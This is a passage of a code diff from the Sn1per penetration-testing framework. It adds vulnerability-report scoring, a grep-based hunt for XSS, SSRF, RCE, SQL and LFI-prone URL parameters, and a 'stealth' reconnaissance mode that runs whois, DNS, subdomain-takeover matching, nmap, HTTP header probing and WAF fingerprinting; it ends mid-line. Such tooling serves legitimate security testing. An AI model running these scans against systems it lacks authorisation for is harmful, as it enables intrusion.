+                            cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out && echo "$SEVERITY, $VULN_NAME, http://$TARGET:$PORT/$URI, $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null &&  echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+                        fi
+                  fi
+                  rm -f /tmp/${TARGET}_${OUTPUT_NAME}.out 2> /dev/null
+            done
+
+            for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do
+              source $file
+            done

modes/sc0pe.sh

@@ -0,0 +1,36 @@
+      echo "====================================================================================" | tee $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      CRITICAL_VULNS=$(egrep CRITICAL $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l)
+      HIGH_VULNS=$(egrep HIGH $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l)
+      MEDIUM_VULNS=$(egrep MEDIUM $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l)
+      LOW_VULNS=$(egrep LOW $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l)
+      INFO_VULNS=$(egrep INFO $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l)
+      VULN_SCORE=$(($CRITICAL_VULNS*5+$HIGH_VULNS*4+$MEDIUM_VULNS*3+$LOW_VULNS*2+$INFO_VULNS*1))
+      echo "•?((¯°·..• Sc0pe Vulnerability Report by @xer0dayz •._.·°¯))؟• " | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      echo "====================================================================================" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      echo "Critical: $CRITICAL_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      echo "High: $HIGH_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      echo "Medium: $MEDIUM_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      echo "Low: $LOW_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      echo "Info: $INFO_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      echo "Score: $VULN_SCORE" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      echo "$VULN_SCORE" 2> /dev/null > $LOOT_DIR/vulnerabilities/vulnerability-risk-$TARGET.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      echo "====================================================================================" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      egrep -h CRITICAL $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      egrep -h HIGH $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      egrep -h MEDIUM $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      egrep -h LOW $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      egrep -h INFO $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      echo "====================================================================================" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
+      sort -u $LOOT_DIR/vulnerabilities/sc0pe-*.txt > $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null
+      egrep "CRITICAL" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/critical_vulns_total.txt
+      egrep "HIGH" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/high_vulns_total.txt
+      egrep "MEDIUM" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/medium_vulns_total.txt
+      egrep "LOW" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/low_vulns_total.txt
+      egrep "INFO" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/info_vulns_total.txt
+      WORKSPACE_RISK_CRITCAL=$(cat $LOOT_DIR/vulnerabilities/critical_vulns_total.txt 2> /dev/null)
+      WORKSPACE_RISK_HIGH=$(cat $LOOT_DIR/vulnerabilities/high_vulns_total.txt 2> /dev/null)
+      WORKSPACE_RISK_MEDIUM=$(cat $LOOT_DIR/vulnerabilities/medium_vulns_total.txt 2> /dev/null)
+      WORKSPACE_RISK_LOW=$(cat $LOOT_DIR/vulnerabilities/low_vulns_total.txt 2> /dev/null)
+      WORKSPACE_RISK_INFO=$(cat $LOOT_DIR/vulnerabilities/info_vulns_total.txt 2> /dev/null)
+      WORKSPACE_RISK_TOTAL=$(($WORKSPACE_RISK_CRITCAL*5+$WORKSPACE_RISK_HIGH*4+$WORKSPACE_RISK_MEDIUM*3+$WORKSPACE_RISK_LOW*2+$WORKSPACE_RISK_INFO*1))
+      echo "$WORKSPACE_RISK_TOTAL" > $LOOT_DIR/vulnerabilities/vuln_score_total.txt 2> /dev/null

modes/static-grep-search.sh

@@ -0,0 +1,46 @@
+if [[ $STATIC_GREP_SEARCH == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING INTERESTING EXTENSIONS STATIC ANALYSIS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_EXTENSIONS" | tee $LOOT_DIR/web/static-extensions-$TARGET.txt | head -n $GREP_MAX_LINES
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING INTERESTING PARAMETERS STATIC ANALYSIS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_PARAMETERS" | tee $LOOT_DIR/web/static-parameters-$TARGET.txt | head -n $GREP_MAX_LINES
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING XSS STATIC ANALYSIS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_XSS" | tee $LOOT_DIR/web/static-xss-$TARGET.txt | head -n $GREP_MAX_LINES
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING SSRF STATIC ANALYSIS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_SSRF" | tee $LOOT_DIR/web/static-ssrf-$TARGET.txt | head -n $GREP_MAX_LINES
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING REDIRECT STATIC ANALYSIS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_REDIRECT" | tee $LOOT_DIR/web/static-redirect-$TARGET.txt | head -n $GREP_MAX_LINES
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING RCE STATIC ANALYSIS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_RCE" | tee $LOOT_DIR/web/static-rce-$TARGET.txt | head -n $GREP_MAX_LINES
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING IDOR STATIC ANALYSIS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_IDOR" | tee $LOOT_DIR/web/static-idor-$TARGET.txt | head -n $GREP_MAX_LINES
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING SQL STATIC ANALYSIS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_SQL" | tee $LOOT_DIR/web/static-sql-$TARGET.txt | head -n $GREP_MAX_LINES
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING LFI STATIC ANALYSIS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_LFI" | tee $LOOT_DIR/web/static-lfi-$TARGET.txt | head -n $GREP_MAX_LINES
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING SSTI STATIC ANALYSIS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_SSTI" | tee $LOOT_DIR/web/static-ssti-$TARGET.txt | head -n $GREP_MAX_LINES
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING DEBUG STATIC ANALYSIS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_DEBUG" | tee $LOOT_DIR/web/static-debug-$TARGET.txt | head -n $GREP_MAX_LINES
+fi

modes/stealth.sh

@@ -0,0 +1,531 @@
+# STEALTH MODE #####################################################################################################
+if [[ "$MODE" = "stealth" ]]; then
+  if [[ "$REPORT" = "1" ]]; then
+    args="-t $TARGET"
+    if [[ "$OSINT" = "1" ]]; then
+      args="$args -o"
+    fi
+    if [[ "$AUTO_BRUTE" = "1" ]]; then
+      args="$args -b"
+    fi
+    if [[ "$FULLNMAPSCAN" = "1" ]]; then
+      args="$args -fp"
+    fi
+    if [[ "$RECON" = "1" ]]; then
+      args="$args -re"
+    fi
+    if [[ ! -z "$WORKSPACE" ]]; then
+      args="$args -w $WORKSPACE"
+      LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+      echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+      mkdir -p $LOOT_DIR 2> /dev/null
+      mkdir $LOOT_DIR/domains 2> /dev/null
+      mkdir $LOOT_DIR/screenshots 2> /dev/null
+      mkdir $LOOT_DIR/nmap 2> /dev/null
+      mkdir $LOOT_DIR/notes 2> /dev/null
+      mkdir $LOOT_DIR/reports 2> /dev/null
+      mkdir $LOOT_DIR/scans 2> /dev/null
+      mkdir $LOOT_DIR/output 2> /dev/null
+    fi
+    args="$args --noreport -m stealth"
+    echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+    echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt    
+    echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+    fi
+    sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+    exit
+  fi
+  echo -e "$OKRED                ____               $RESET"
+  echo -e "$OKRED    _________  /  _/___  ___  _____$RESET"
+  echo -e "$OKRED   / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
+  echo -e "$OKRED  (__  ) / / // // /_/ /  __/ /    $RESET"
+  echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/     $RESET"
+  echo -e "$OKRED               /_/                 $RESET"
+  echo -e "$RESET"
+  echo -e "$OKORANGE + -- --=[ https://sn1persecurity.com"
+  echo -e "$OKORANGE + -- --=[ Sn1per v$VER by @xer0dayz"
+  echo -e "$OKRED "   
+  echo -e "$OKRED     ./\."
+  echo -e "$OKRED   ./    '\."
+  echo -e "$OKRED   \.       '\."
+  echo -e "$OKRED     '\.       '\."
+  echo -e "$OKRED        '\.       '\."
+  echo -e "$OKRED           '\.       '\."
+  echo -e "$OKRED           ./           '\."
+  echo -e "$OKRED         ./            ____'\."
+  echo -e "$OKRED       ./                  <  '\."
+  echo -e "$OKRED       \-------\            '>   '\."
+  echo -e "$OKRED         '\=====>        ___<       '\."
+  echo -e "$OKRED        ./-----/             __________'\."
+  echo -e "$OKRED "'       \.------\       _____   ___(_)(_\."\'
+  echo -e "$OKRED          '\=====>          <            ./'"
+  echo -e "$OKRED         ./-----/            '>        ./"
+  echo -e "$OKRED         \.               ___<       ./"
+  echo -e "$OKRED           '\.                     ./"
+  echo -e "$OKRED              '\.                ./"
+  echo -e "$OKRED                 '\.           ./"
+  echo -e "$OKRED                 ./          ./"
+  echo -e "$OKRED               ./          ./  Carl Pilcher"
+  echo -e "$OKRED             ./          ./"
+  echo -e "$OKRED           ./          ./"
+  echo -e "$OKRED         ./          ./"
+  echo -e "$OKRED         \.        ./"
+  echo -e "$OKRED           '\.   ./"
+  echo -e "$OKRED              '\/"
+  echo -e "$RESET"
+  echo -e "$OKORANGE + -- --=[ Launching stealth scan: $TARGET $RESET"
+  echo -e "$OKGREEN $RESET"
+  echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
+  echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_stealth.txt
+  ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+  if [[ "$WHOIS" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING WHOIS INFO $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null 
+    if [[ "$SLACK_NOTIFICATIONS_WHOIS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/whois-$TARGET.txt"
+    fi
+  fi
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED GATHERING DNS INFO $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  dig all +short $TARGET > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null
+  dig all +short -x $TARGET >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null
+  host $TARGET 2> /dev/null | grep address 2> /dev/null | awk '{print $4}' 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null
+  mv -f *_ips.txt $LOOT_DIR/ips/ 2>/dev/null
+  if [[ $SCAN_TYPE == "DOMAIN" ]];
+  then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null
+    echo ""
+  fi
+  source $INSTALL_DIR/modes/osint.sh
+  source $INSTALL_DIR/modes/recon.sh
+  cd $INSTALL_DIR
+  echo ""
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  nmap -p $QUICK_PORTS $NMAP_OPTIONS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt
+
+  HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null)
+  if [[ ${#HOST_UP} -ge 2 ]]; then
+    echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
+  fi
+  sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null
+  mv -f $LOOT_DIR/nmap/ports-$TARGET.txt $LOOT_DIR/nmap/ports-$TARGET.old 2> /dev/null
+  for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do
+    echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt
+  done
+  diff $LOOT_DIR/nmap/ports-$TARGET.old $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null > $LOOT_DIR/nmap/ports-$TARGET.diff 2> /dev/null
+  cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2>/dev/null | egrep "MAC Address:" | awk '{print $3 " " $4 " " $5 " " $6}' > $LOOT_DIR/nmap/macaddress-$TARGET.txt 2> /dev/null
+  cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt $LOOT_DIR/output/nmap-$TARGET-*.txt 2>/dev/null | egrep "OS details:|OS guesses:" | cut -d\: -f2 | sed 's/,//g' | head -c50 - > $LOOT_DIR/nmap/osfingerprint-$TARGET.txt 2> /dev/null
+
+  if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt"
+  fi
+  if [[ -s "$LOOT_DIR/nmap/ports-$TARGET.diff" ]]; then
+    if [[ "$SLACK_NOTIFICATIONS_NMAP_DIFF" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Port change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/ports-$TARGET.diff"
+    fi
+    echo "[sn1persecurity.com] •?((¯°·._.• Port change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    cat $LOOT_DIR/nmap/ports-$TARGET.diff 2> /dev/null | egrep "<|>" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null 
+  fi
+  if [[ "$HTTP_PROBE" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING HTTP PROBE $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo "$TARGET" | fprobe -c 200 -p xlarge | tee $LOOT_DIR/web/httprobe-$TARGET.txt 2> /dev/null
+    echo "$TARGET" | fprobe -c 200 -p xlarge -v | tee $LOOT_DIR/web/httprobe-$TARGET-verbose.txt 2> /dev/null
+  fi
+ 
+  port_80=`grep 'portid="80"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open`
+  port_443=`grep 'portid="443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open`
+ 
+  if [[ -z "$port_80" ]];
+  then
+    echo -e "$OKRED + -- --=[ Port 80 closed... skipping.$RESET"
+  else
+    echo -e "$OKORANGE + -- --=[ Port 80 opened... running tests...$RESET"
+    echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET |  perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null
+    curl --connect-timeout 5 --max-time 10 -I -s --insecure -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null
+    curl --connect-timeout 5 -s -R -L --insecure http://$TARGET > $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null
+    curl --connect-timeout 5 --max-time 10 -I -s --insecure -R -X OPTIONS http://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port80.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-http-$TARGET.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING COMMENTS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-http-$TARGET 2> /dev/null
+    sed -r "s/</\&lh\;/g" $LOOT_DIR/web/webcomments-http-$TARGET 2> /dev/null > $LOOT_DIR/web/webcomments-http-$TARGET.txt 2> /dev/null
+    rm -f $LOOT_DIR/web/webcomments-http-$TARGET 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep  \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-http-$TARGET.txt 2> /dev/null
+    if [[ "$WAFWOOF" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED CHECKING FOR WAF $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      wafw00f http://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-http.raw 2> /dev/null
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-http.raw > $LOOT_DIR/web/waf-$TARGET-http.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/waf-$TARGET-http.raw 2> /dev/null
+      echo ""
+    fi
+    if [[ "$WHATWEB" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING HTTP INFO $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      whatweb -a 3 http://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-http.raw  2> /dev/null
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http.raw > $LOOT_DIR/web/whatweb-$TARGET-http.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/whatweb-$TARGET-http.raw 2> /dev/null
+    fi
+    if [[ "$WIG" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING SERVER INFO $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      python3 $PLUGINS_DIR/wig/wig.py -d -q http://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-http
